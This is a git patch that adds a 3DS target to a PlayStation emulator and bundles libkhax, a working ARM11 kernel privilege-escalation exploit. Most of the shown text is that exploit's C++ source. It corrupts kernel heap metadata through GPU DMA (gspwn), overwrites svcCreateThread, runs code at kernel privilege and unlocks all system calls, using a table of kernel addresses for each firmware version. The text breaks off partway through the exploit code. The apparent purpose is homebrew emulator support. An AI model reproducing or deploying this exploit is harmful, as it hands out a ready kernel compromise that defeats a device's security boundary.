From fc99395c2d7efbbaa0663feed47dc89a54e49506 Mon Sep 17 00:00:00 2001 From: aliaspider Date: Wed, 23 Sep 2015 16:12:24 +0100 Subject: [PATCH] (ctr/3ds) add target. --- Makefile | 8 + Makefile.libretro | 25 + frontend/3ds/3ds_utils.c | 98 +++ frontend/3ds/3ds_utils.h | 19 + frontend/3ds/libkhax/LICENSE | 22 + frontend/3ds/libkhax/khax.h | 16 + frontend/3ds/libkhax/khaxinit.cpp | 1110 +++++++++++++++++++++++++ frontend/3ds/libkhax/khaxinternal.h | 339 ++++++++ frontend/3ds/pthread.h | 68 ++ frontend/3ds/sys/mman.h | 66 ++ frontend/libretro.c | 99 ++- frontend/main.c | 14 +- libpcsxcore/new_dynarec/emu_if.h | 2 +- libpcsxcore/new_dynarec/new_dynarec.c | 3 + plugins/cdrcimg/cdrcimg.c | 4 +- plugins/dfxvideo/gpulib_if.c | 6 +- 16 files changed, 1886 insertions(+), 13 deletions(-) create mode 100644 frontend/3ds/3ds_utils.c create mode 100644 frontend/3ds/3ds_utils.h create mode 100644 frontend/3ds/libkhax/LICENSE create mode 100644 frontend/3ds/libkhax/khax.h create mode 100644 frontend/3ds/libkhax/khaxinit.cpp create mode 100644 frontend/3ds/libkhax/khaxinternal.h create mode 100644 frontend/3ds/pthread.h create mode 100644 frontend/3ds/sys/mman.h diff --git a/Makefile b/Makefile index b23d33e3..f7bf1d7b 100644 --- a/Makefile +++ b/Makefile @@ -247,11 +247,19 @@ frontend/revision.h: FORCE %.o: %.S $(CC_AS) $(CFLAGS) -c $^ -o $@ +%.o: %.cpp + $(CXX) $(CXXFLAGS) -c -o $@ $< + + target_: $(TARGET) $(TARGET): $(OBJS) +ifeq ($(STATIC_LINKING), 1) + $(AR) rcs $@ $(OBJS) +else $(CC_LINK) -o $@ $^ $(LDFLAGS) $(LDLIBS) $(EXTRA_LDFLAGS) +endif clean: $(PLAT_CLEAN) clean_plugins $(RM) $(TARGET) $(OBJS) $(TARGET).map frontend/revision.h diff --git a/Makefile.libretro b/Makefile.libretro index 81155100..de2bcebd 100644 --- a/Makefile.libretro +++ b/Makefile.libretro @@ -123,6 +123,31 @@ else ifeq ($(platform), vita) HAVE_NEON = 1 BUILTIN_GPU = neon +# CTR(3DS) +else ifeq ($(platform), ctr) + TARGET := $(TARGET_NAME)_libretro_ctr.a + CC = $(DEVKITARM)/bin/arm-none-eabi-gcc$(EXE_EXT) + CXX = $(DEVKITARM)/bin/arm-none-eabi-g++$(EXE_EXT) + AR = $(DEVKITARM)/bin/arm-none-eabi-ar$(EXE_EXT) + CFLAGS += -DARM11 -D_3DS -DNO_OS + CFLAGS += -march=armv6k -mtune=mpcore -mfloat-abi=hard -marm -mfpu=vfp + CFLAGS += -Wall -mword-relocations + CFLAGS += -fomit-frame-pointer -ffast-math + CFLAGS += -I$(CTRULIB)/include -I$(DEVKITPRO)/portlibs/armv6k/include -Ifrontend/3ds + CFLAGS += -Werror=implicit-function-declaration + + CXXFLAGS += -fno-rtti -fno-exceptions -std=gnu++11 + OBJS += frontend/3ds/3ds_utils.o frontend/3ds/libkhax/khaxinit.o + + +# CFLAGS += -DPCSX +# BUILTIN_GPU = unai + USE_DYNAREC = 1 + DRC_CACHE_BASE = 0 + ARCH = arm + + STATIC_LINKING = 1 + # Xbox 360 else ifeq ($(platform), xenon) TARGET := $(TARGET_NAME)_libretro_xenon360.a diff --git a/frontend/3ds/3ds_utils.c b/frontend/3ds/3ds_utils.c new file mode 100644 index 00000000..c36146c1 --- /dev/null +++ b/frontend/3ds/3ds_utils.c @@ -0,0 +1,98 @@ + +#include "3ds.h" +#include "libkhax/khax.h" + +static int ninjhax_version = 0; + +typedef s32 (*ctr_callback_type)(void); + +static void ctr_enable_all_svc_kernel(void) +{ + __asm__ volatile("cpsid aif"); + + u32* svc_access_control = *(*(u32***)0xFFFF9000 + 0x22) - 0x6; + + svc_access_control[0]=0xFFFFFFFE; + svc_access_control[1]=0xFFFFFFFF; + svc_access_control[2]=0xFFFFFFFF; + svc_access_control[3]=0x3FFFFFFF; +} + + +static void ctr_invalidate_ICache_kernel(void) +{ + __asm__ volatile( + "cpsid aif\n\t" + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c5, 0\n\t"); +} + +static void ctr_flush_DCache_kernel(void) +{ + __asm__ volatile( + "cpsid aif\n\t" + "mov r0, #0\n\t" + "mcr p15, 0, r0, c7, c10, 0\n\t"); + +} + + +static void ctr_enable_all_svc(void) +{ + svcBackdoor((ctr_callback_type)ctr_enable_all_svc_kernel); +} + +void ctr_invalidate_ICache(void) +{ +// __asm__ volatile("svc 0x2E\n\t"); + svcBackdoor((ctr_callback_type)ctr_invalidate_ICache_kernel); + +} + +void ctr_flush_DCache(void) +{ +// __asm__ volatile("svc 0x4B\n\t"); + svcBackdoor((ctr_callback_type)ctr_flush_DCache_kernel); +} + + +void ctr_flush_invalidate_cache(void) +{ + ctr_flush_DCache(); + ctr_invalidate_ICache(); +} + +int ctr_svchack_init(void) +{ + Handle tempHandle; + Result res = srvGetServiceHandle(&tempHandle, "am:u"); + if(res == 0) + { + /* CFW */ + svcCloseHandle(tempHandle); + ninjhax_version = 0; + ctr_enable_all_svc(); + return 1; + } + else if(hbInit() == 0) + { + /* ninjhax 1.0 */ + ninjhax_version = 1; + hbExit(); + khaxInit(); + return 1; + } + else + { + /* ninjhax 2.0 */ + + return 0; + } +} + + +void ctr_svchack_exit(void) +{ + if (ninjhax_version == 1) + khaxExit(); +} diff --git a/frontend/3ds/3ds_utils.h b/frontend/3ds/3ds_utils.h new file mode 100644 index 00000000..e951dbc8 --- /dev/null +++ b/frontend/3ds/3ds_utils.h @@ -0,0 +1,19 @@ +#ifndef _3DS_UTILS_H +#define _3DS_UTILS_H + +void ctr_invalidate_ICache(void); +void ctr_flush_DCache(void); + +void ctr_flush_invalidate_cache(void); + +int ctr_svchack_init(void); +void ctr_svchack_exit(void); + +#if 0 +#include "stdio.h" +void wait_for_input(void); + +#define DEBUG_HOLD() do{printf("%s@%s:%d.\n",__FUNCTION__, __FILE__, __LINE__);fflush(stdout);wait_for_input();}while(0) +#endif + +#endif // _3DS_UTILS_H diff --git a/frontend/3ds/libkhax/LICENSE b/frontend/3ds/libkhax/LICENSE new file mode 100644 index 00000000..1456b222 --- /dev/null +++ b/frontend/3ds/libkhax/LICENSE @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2015 Myriachan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/frontend/3ds/libkhax/khax.h b/frontend/3ds/libkhax/khax.h new file mode 100644 index 00000000..21051c38 --- /dev/null +++ b/frontend/3ds/libkhax/khax.h @@ -0,0 +1,16 @@ +#pragma once + +#include <3ds.h> + +#ifdef __cplusplus +extern "C" { +#endif + +// Initialize and do the initial pwning of the ARM11 kernel. +Result khaxInit(); +// Shut down libkhax +Result khaxExit(); + +#ifdef __cplusplus +} +#endif diff --git a/frontend/3ds/libkhax/khaxinit.cpp b/frontend/3ds/libkhax/khaxinit.cpp new file mode 100644 index 00000000..5c5ad811 --- /dev/null +++ b/frontend/3ds/libkhax/khaxinit.cpp @@ -0,0 +1,1110 @@ +#include <3ds.h> +#include +#include +#include +#include +#include +#include + +#include "khax.h" +#include "khaxinternal.h" + +//------------------------------------------------------------------------------------------------ +namespace KHAX +{ + //------------------------------------------------------------------------------------------------ + // Kernel and hardware version information. + struct VersionData + { + // New 3DS? + bool m_new3DS; + // Kernel version number + u32 m_kernelVersion; + // Nominal version number lower bound (for informational purposes only) + u32 m_nominalVersion; + // Patch location in svcCreateThread + u32 m_threadPatchAddress; + // Original version of code at m_threadPatchAddress + static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5; + // System call unlock patch location + u32 m_syscallPatchAddress; + // Kernel virtual address mapping of FCRAM + u32 m_fcramVirtualAddress; + // Physical mapping of FCRAM on this machine + static constexpr const u32 m_fcramPhysicalAddress = 0x20000000; + // Physical size of FCRAM on this machine + u32 m_fcramSize; + // Address of KThread address in kernel (KThread **) + static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast(0xFFFF9000); + // Address of KProcess address in kernel (KProcess **) + static constexpr void **const m_currentKProcessPtr = reinterpret_cast(0xFFFF9004); + // Pseudo-handle of the current KProcess. + static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001; + // Returned pointers within a KProcess object. This abstracts out which particular + // version of the KProcess object is in use. + struct KProcessPointers + { + KSVCACL *m_svcAccessControl; + u32 *m_kernelFlags; + u32 *m_processID; + }; + // Creates a KProcessPointers for this kernel version and pointer to the object. + KProcessPointers(*m_makeKProcessPointers)(void *kprocess); + + // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual + // address using the version-specific information in this table entry. + void *ConvertLinearUserVAToKernelVA(void *address) const; + + // Retrieve a VersionData for this kernel, or null if not recognized. + static const VersionData *GetForCurrentSystem(); + + private: + // Implementation behind m_makeKProcessPointers. + template + static KProcessPointers MakeKProcessPointers(void *kprocess); + + // Table of these. + static const VersionData s_versionTable[]; + }; + + //------------------------------------------------------------------------------------------------ + // ARM11 kernel hack class. + class MemChunkHax + { + public: + // Construct using the version information for the current system. + MemChunkHax(const VersionData *versionData) + : m_versionData(versionData), + m_nextStep(1), + m_corrupted(0), + m_overwriteMemory(nullptr), + m_overwriteAllocated(0), + m_extraLinear(nullptr) + { + s_instance = this; + } + + // Free memory and such. + ~MemChunkHax(); + + // Umm, don't copy this class. + MemChunkHax(const MemChunkHax &) = delete; + MemChunkHax &operator =(const MemChunkHax &) = delete; + + // Basic initialization. + Result Step1_Initialize(); + // Allocate linear memory for the memchunkhax operation. + Result Step2_AllocateMemory(); + // Free the second and fourth pages of the five. + Result Step3_SurroundFree(); + // Verify that the freed heap blocks' data matches our expected layout. + Result Step4_VerifyExpectedLayout(); + // Corrupt svcCreateThread in the ARM11 kernel and create the foothold. + Result Step5_CorruptCreateThread(); + // Execute svcCreateThread to execute code at SVC privilege. + Result Step6_ExecuteSVCCode(); + // Grant access to all services. + Result Step7_GrantServiceAccess(); + + private: + // SVC-mode entry point thunk (true entry point). + static Result Step6a_SVCEntryPointThunk(); + // SVC-mode entry point. + Result Step6b_SVCEntryPoint(); + // Undo the code patch that Step5_CorruptCreateThread did. + Result Step6c_UndoCreateThreadPatch(); + // Fix the heap corruption caused as a side effect of step 5. + Result Step6d_FixHeapCorruption(); + // Grant our process access to all system calls, including svcBackdoor. + Result Step6e_GrantSVCAccess(); + // Flush instruction and data caches. + Result Step6f_FlushCaches(); + // Patch the process ID to 0. Runs as svcBackdoor. + static Result Step7a_PatchPID(); + // Restore the original PID. Runs as svcBackdoor. + static Result Step7b_UnpatchPID(); + + // Helper for dumping memory to SD card. + template + bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const; + + // Result returned by hacked svcCreateThread upon success. + static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE; + + // Version information. + const VersionData *const m_versionData; + // Next step number. + int m_nextStep; + // Whether we are in a corrupted state, meaning we cannot continue if an error occurs. + int m_corrupted; + + // Free block structure in the kernel, the one used in the memchunkhax exploit. + struct HeapFreeBlock + { + int m_count; + HeapFreeBlock *m_next; + HeapFreeBlock *m_prev; + int m_unknown1; + int m_unknown2; + }; + + // The layout of a memory page. + union Page + { + unsigned char m_bytes[4096]; + HeapFreeBlock m_freeBlock; + }; + + // The linear memory allocated for the memchunkhax overwrite. + struct OverwriteMemory + { + union + { + unsigned char m_bytes[6 * 4096]; + Page m_pages[6]; + }; + }; + OverwriteMemory *m_overwriteMemory; + unsigned m_overwriteAllocated; + + // Additional linear memory buffer for temporary purposes. + union ExtraLinearMemory + { + ALIGN(64) unsigned char m_bytes[64]; + // When interpreting as a HeapFreeBlock. + HeapFreeBlock m_freeBlock; + }; + // Must be a multiple of 16 for use with gspwn. + static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes"); + ExtraLinearMemory *m_extraLinear; + + // Copy of the old ACL + KSVCACL m_oldACL; + + // Original process ID. + u32 m_originalPID; + + // Buffers for dumped data when debugging. + #ifdef KHAX_DEBUG_DUMP_DATA + unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)]; + unsigned char m_savedKThread[sizeof(KThread)]; + unsigned char m_savedThreadSVC[0x100]; + #endif + + // Pointer to our instance. + static MemChunkHax *volatile s_instance; + }; + + //------------------------------------------------------------------------------------------------ + // Make an error code + inline Result MakeError(Result level, Result summary, Result module, Result error); + enum : Result { KHAX_MODULE = 254 }; + // Check whether this system is a New 3DS. + Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0); + // gspwn, meant for reading from or writing to freed buffers. + Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true); + // Given a pointer to a structure that is a member of another structure, + // return a pointer to the outer structure. Inspired by Windows macro. + template + Outer *ContainingRecord(Inner *member, Inner Outer::*field); +} + + +//------------------------------------------------------------------------------------------------ +// +// Class VersionData +// + +//------------------------------------------------------------------------------------------------ +// Creates a KProcessPointers for this kernel version and pointer to the object. +template +KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess) +{ + KProcessType *kproc = static_cast(kprocess); + + KProcessPointers result; + result.m_svcAccessControl = &kproc->m_svcAccessControl; + result.m_processID = &kproc->m_processID; + result.m_kernelFlags = &kproc->m_kernelFlags; + return result; +} + +//------------------------------------------------------------------------------------------------ +// System version table +const KHAX::VersionData KHAX::VersionData::s_versionTable[] = +{ +#define KPROC_FUNC(ver) MakeKProcessPointers + + // Old 3DS, old address layout + { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) }, + // Old 3DS, new address layout + { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, + { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) }, + // New 3DS + { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested + { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, + +#undef KPROC_FUNC +}; + +//------------------------------------------------------------------------------------------------ +// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual +// address using the version-specific information in this table entry. +void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const +{ + static_assert((std::numeric_limits::max)() == (std::numeric_limits::max)(), + "you're sure that this is a 3DS?"); + + // Need the pointer as an integer. + u32 addr = reinterpret_cast(address); + + // Convert the address to a physical address, since that's how we know the mapping. + u32 physical = osConvertVirtToPhys(addr); + if (physical == 0) + { + return nullptr; + } + + // Verify that the address is within FCRAM. + if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize)) + { + return nullptr; + } + + // Now we can convert. + return reinterpret_cast(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress); +} + +//------------------------------------------------------------------------------------------------ +// Retrieve a VersionData for this kernel, or null if not recognized. +const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem() +{ + // Get kernel version for comparison. + u32 kernelVersion = osGetKernelVersion(); + + // Determine whether this is a New 3DS. + bool isNew3DS; + if (IsNew3DS(&isNew3DS, kernelVersion) != 0) + { + return nullptr; + } + + // Search our list for a match. + for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry) + { + // New 3DS flag must match. + if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS)) + { + continue; + } + // Kernel version must match. + if (entry->m_kernelVersion != kernelVersion) + { + continue; + } + + return entry; + } + + return nullptr; +} + + +//------------------------------------------------------------------------------------------------ +// +// Class MemChunkHax +// + +//------------------------------------------------------------------------------------------------ +KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr; + +//------------------------------------------------------------------------------------------------ +// Basic initialization. +Result KHAX::MemChunkHax::Step1_Initialize() +{ + if (m_nextStep != 1) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Nothing to do in current implementation. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Allocate linear memory for the memchunkhax operation. +Result KHAX::MemChunkHax::Step2_AllocateMemory() +{ + if (m_nextStep != 2) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Allocate the linear memory for the overwrite process. + u32 address = 0xFFFFFFFF; + Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR, + static_cast(MEMPERM_READ | MEMPERM_WRITE)); + + KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address); + + if (result != 0) + { + return result; + } + + m_overwriteMemory = reinterpret_cast(address); + m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now + + // Why didn't we get a page-aligned address?! + if (address & 0xFFF) + { + // Since we already assigned m_overwriteMemory, it'll get freed by our destructor. + KHAX_printf("Step2:misaligned memory\n"); + return MakeError(26, 7, KHAX_MODULE, 1009); + } + + // Allocate extra memory that we'll need. + m_extraLinear = static_cast(linearMemAlign(sizeof(*m_extraLinear), + alignof(*m_extraLinear))); + if (!m_extraLinear) + { + KHAX_printf("Step2:failed extra alloc\n"); + return MakeError(26, 3, KHAX_MODULE, 1011); + } + KHAX_printf("Step2:extra=%p\n", m_extraLinear); + + // OK, we're good here. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Free the second and fourth pages of the five. +Result KHAX::MemChunkHax::Step3_SurroundFree() +{ + if (m_nextStep != 3) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // We do this because the exploit involves triggering a heap coalesce. We surround a heap + // block (page) with two freed pages, then free the middle page. By controlling both outside + // pages, we know their addresses, and can fix up the corrupted heap afterward. + // + // Here's what the heap will look like after step 3: + // + // ___XX-X-X___ + // + // _ = unknown (could be allocated and owned by other code) + // X = allocated + // - = allocated then freed by us + // + // In step 4, we will free the second page: + // + // ___X--X-X___ + // + // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's + // "previous" pointer will be set to point to the second page rather than the third. We will + // use gspwn to make that overwrite kernel code instead. + // + // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little + // sandbox to play in. In particular, we can use this design to determine the address of the + // next block--by controlling the location of the next block. + u32 dummy; + + // Free the third page. + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[2]), 0, + sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step3:svcCM1 failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 2); + + // Free the fifth page. + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[4]), 0, + sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step3:svcCM2 failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 4); + + // Attempt to write to remaining pages. + //KHAX_printf("Step2:probing page [0]\n"); + *static_cast(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [1]\n"); + *static_cast(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [3]\n"); + *static_cast(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [5]\n"); + *static_cast(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0; + KHAX_printf("Step3:probing done\n"); + + // Done. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Verify that the freed heap blocks' data matches our expected layout. +Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout() +{ + if (m_nextStep != 4) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Copy the first freed page (third page) out to read its heap metadata. + std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear)); + + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2], + sizeof(*m_extraLinear))) + { + KHAX_printf("Step4:gspwn failed:%08lx\n", result); + return result; + } + + // Debug information about the memory block + KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData-> + ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2])); + KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, + m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); + + // The next page from the third should equal the fifth page. + if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[4])) + { + KHAX_printf("Step4:[2]->next != [4]\n"); + KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next, + m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]), + &m_overwriteMemory->m_pages[4]); + return MakeError(26, 5, KHAX_MODULE, 1014); + } + + // Copy the second freed page (fifth page) out to read its heap metadata. + std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear)); + + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4], + sizeof(*m_extraLinear))) + { + KHAX_printf("Step4:gspwn failed:%08lx\n", result); + return result; + } + + KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData-> + ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4])); + KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, + m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); + + // The previous page from the fifth should equal the third page. + if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[2])) + { + KHAX_printf("Step4:[4]->prev != [2]\n"); + KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev, + m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]), + &m_overwriteMemory->m_pages[2]); + return MakeError(26, 5, KHAX_MODULE, 1014); + } + + // Validation successful + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Corrupt svcCreateThread in the ARM11 kernel and create the foothold. +Result KHAX::MemChunkHax::Step5_CorruptCreateThread() +{ + if (m_nextStep != 5) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Read the memory page we're going to gspwn. + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock, + sizeof(*m_extraLinear))) + { + KHAX_printf("Step5:gspwn read failed:%08lx\n", result); + return result; + } + + // Adjust the "next" pointer to point to within the svcCreateThread system call so as to + // corrupt certain instructions. The result will be that calling svcCreateThread will result + // in executing our code. + // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev. + // That is, the overwrite adds this offset back in. + m_extraLinear->m_freeBlock.m_next = reinterpret_cast( + m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev)); + + // Do the GSPwn, the actual exploit we've been waiting for. + if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear, + sizeof(*m_extraLinear))) + { + KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result); + return result; + } + + // The heap is now corrupted in two ways (Step6 explains why two ways). + m_corrupted += 2; + + KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n"); + + // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third + // page into the second page, and in the process zap an instruction pair in svcCreateThread. + u32 dummy; + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[1]), + 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step5:free to pwn failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 1); + + // We have an additional layer of instability because of the kernel code overwrite. + ++m_corrupted; + + KHAX_printf("Step5:svcCreateThread now hacked\n"); + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Execute svcCreateThread to execute code at SVC privilege. +Result KHAX::MemChunkHax::Step6_ExecuteSVCCode() +{ + if (m_nextStep != 6) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Call svcCreateThread such that r0 is the desired exploit function. Note that the + // parameters to the usual system call thunk are rearranged relative to the actual system call + // - the thread priority parameter is actually the one that goes into r0. In addition, we + // want to pass other parameters that make for an illegal thread creation request, because the + // rest of the thread creation SVC occurs before the hacked code gets executed. We want the + // thread creation request to fail, then the hack to grant us control. Processor ID + // 0x7FFFFFFF seems to do the trick here. + Handle dummyHandle; + Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast( + Step6a_SVCEntryPointThunk), (std::numeric_limits::max)()); + + KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep); + + if (result != STEP6_SUCCESS_RESULT) + { + // If the result was 0, something actually went wrong. + if (result == 0) + { + result = MakeError(27, 11, KHAX_MODULE, 1023); + } + + return result; + } + +#ifdef KHAX_DEBUG + char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1]; + char *sp = oldACLString; + for (unsigned char b : m_oldACL) + { + *sp++ = "0123456789abcdef"[b >> 4]; + *sp++ = "0123456789abcdef"[b & 15]; + } + *sp = '\0'; + + KHAX_printf("oldACL:%s\n", oldACLString); +#endif + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point thunk (true entry point). +#ifndef _MSC_VER +__attribute__((__naked__)) +#endif +Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk() +{ + __asm__ volatile("add sp, sp, #8"); + + register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint(); + + __asm__ volatile("ldr pc, [sp], #4" : : "r"(result)); +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point. +#ifndef _MSC_VER +__attribute__((__noinline__)) +#endif +Result KHAX::MemChunkHax::Step6b_SVCEntryPoint() +{ + if (Result result = Step6c_UndoCreateThreadPatch()) + { + return result; + } + if (Result result = Step6d_FixHeapCorruption()) + { + return result; + } + if (Result result = Step6e_GrantSVCAccess()) + { + return result; + } + if (Result result = Step6f_FlushCaches()) + { + return result; + } + + return STEP6_SUCCESS_RESULT; +} + +//------------------------------------------------------------------------------------------------ +// Undo the code patch that Step5_CorruptCreateThread did. +Result 